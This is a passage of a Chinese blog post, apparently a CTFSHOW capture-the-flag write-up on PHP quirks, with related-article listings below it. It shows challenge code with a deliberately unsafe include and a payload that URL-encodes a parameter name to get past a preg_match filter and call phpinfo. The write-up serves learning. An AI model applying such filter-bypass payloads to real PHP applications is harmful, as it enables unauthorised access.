if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

这里__autoload并不是CTFSHOW这个类的方法,它是独立在类外的,只不过缩进比较迷惑人。

__autoload 函数只有在以下条件满足时才会触发:

  1. 当代码中尝试使用一个未定义的类时,即在代码中出现了类名,但该类尚未被定义或加载。

  2. 当 PHP 解释器在当前命名空间找不到所需的类时,即命名空间中没有定义该类。

此时,PHP 解释器会自动调用 __autoload 函数,并将需要加载的类名作为参数传递给它。

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

__CTFSHOW__的url全编码可以配合$_SERVER['QUERY_STRING']绕过preg_match

最终payload:

?%5f%5f%43%54%46%53%48%4f%57%5f%5f=phpinfo

看phpinfo拿到flag

 【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过文章来源地址https://www.toymoban.com/news/detail-795749.html

到了这里,关于【Web】CTFSHOW PHP特性刷题记录(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【PHP代码审计】ctfshow web入门 php特性 93-104

    这段PHP代码是一个简单的源码审计例子,让我们逐步分析它: include(\\\"flag.php\\\"); : 这行代码将 flag.php 文件包含进来。如果 flag.php 文件中定义了变量 $flag ,它将在当前文件中可用。 highlight_file(__FILE__); : 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们

    2024年02月14日
    浏览(31)
  • Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭… 有错误敬请斧正! 看题目,有个flag.php文件。题目要求get有个num,是数字但是不包含0-9。 intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 in

    2024年02月13日
    浏览(50)
  • 【Web】CTFSHOW 文件上传刷题记录(全)

    期末考完终于可以好好学ctf了,先把这些该回顾的回顾完,直接rushjava! 目录 web151 web152 web153 web154-155 web156-159 web160 web161 web162-163 web164 web165 web166 web167 web168 web169-170  如果直接上传php文件就会弹窗 直接禁js按钮就不能上传文件了  一种方法是改js代码(png=php) 然后直接上传即可

    2024年01月17日
    浏览(28)
  • 【Web】CTFSHOW java反序列化刷题记录(部分)

    目录 web846 web847 web848 web849 web850 web856 web857 web858 直接拿URLDNS链子打就行 payload: 也可直接用ysoserial 有关CC链:CC链 1-7 分析 - 先知社区 题目提示: 用CC1打就行 先生成反弹shell的payload: 生成的payload放bp自带的decoder里进行一次url全编码 get方式传参 监听,成功反弹shell TransformedMap也

    2024年02月20日
    浏览(32)
  • CTFSHOW php 特性

    目录 web89 数组绕过正则 PHP preg_match() 函数 | 菜鸟教程  web90  ===的绕过 首先 我们输入一个 4476a 就可以绕过 第一个nonono 也可以使用浮点型 也可以使用进制 web91   了解正则 web92 == 绕过 进制  浮点型 科学计数法 web93 过滤字母 浮点型  进制  web94 strpos(字符串,字符) 八进制

    2024年02月14日
    浏览(31)
  • 云曦暑期学习第三周——ctfshow--php特性(89-104)

    目录 web89  preg_match函数 、数组 web90  intval()函数、强比较 web91  正则修饰符 web92  intval()函数、弱比较 web93  八进制、小数点 web94  strpos() 函数、小数点 web95  小数点 web96   highlight_file() 下的目录路径 web97  数组 web98  三目运算符 web99   in_array函数 web100   优先级 web101 反射

    2024年02月14日
    浏览(32)
  • CTFShow web1-7——CTF秀WEB模块解题思路

    CTFShow WEB模块详细通关教程, 受篇幅所限, 通关教程分为上下两部分, 第一部分为1-7关, 第二部分为8-14关, 本篇博客为1-7关的通关教程, 从解题思路和原理剖析两个方面进行讲解 这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到

    2024年02月09日
    浏览(27)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(42)
  • Ctfshow web入门 sqli-labs特性篇 web517-web568 详细题解 全

    这里插一句。 limit 100,1 是从第100条数据开始,读取1条数据。 limit 6 是读取前6条数据。 报错注入 绕过字符串返回长度限制。 盲注 布尔和时间都可以的。 闭合换成了 \\\" 。其他和上题一样。 ctfshow–flagpa–flag3a3– 测一下回显位 布尔盲注还是能用。不过这次我们换个方法。 它

    2024年02月15日
    浏览(36)
  • CTFSHOW php命令执行

    目录 web29  过滤flag web30   过滤system php web31 过滤    cat|sort|shell|. 这里有一个新姿势 可以学习一下 web32 过滤 ;`` \\\'\\\' . web33 web34 web35 web36 web37 data伪协议 web38 短开表达式 web39 web40   __FILE__命令的扩展 web41 web42 重定向 web43 web44 web45 web46 web47 web48 web49 web50 web51  web52 web53 web54 

    2024年02月13日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包